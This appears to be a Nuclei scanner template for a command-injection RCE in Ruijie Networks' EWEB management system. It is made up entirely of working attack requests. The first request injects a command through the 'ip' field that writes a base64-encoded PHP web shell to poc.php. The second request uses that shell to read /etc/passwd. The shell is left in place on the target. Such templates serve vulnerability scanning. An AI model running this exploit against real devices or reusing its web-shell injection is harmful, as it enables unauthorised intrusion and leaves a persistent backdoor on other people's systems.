id: ruijie-networks-rce

info:
  name: Ruijie Networks-EWEB Network Management System RCE
  author: pikpikcu
  severity: critical
  reference: https://github.com/yumusb/EgGateWayGetShell_py/blob/main/eg.py
  vendor: https://www.ruijienetworks.com
  tags: ruijie,rce

requests:
  - raw:
      - |
        POST /guest_auth/guestIsUp.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
        Content-Type: application/x-www-form-urlencoded;charset=UTF-8
        Content-Length: 111

        ip=127.0.0.1|echo "PD9waHAKJGNtZD0kX0dFVFsnY21kJ107CnN5c3RlbSgkY21kKTsKPz4K"|base64 -d > poc.php&mac=00-00

      - |
        GET /guest_auth/poc.php?cmd=cat%20/etc/passwd HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
        Content-Type: application/x-www-form-urlencoded;charset=UTF-8
        Content-Length: 2

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"
          - "nobody:x:0:0:"
        part: body

      - type: status
        status:
          - 200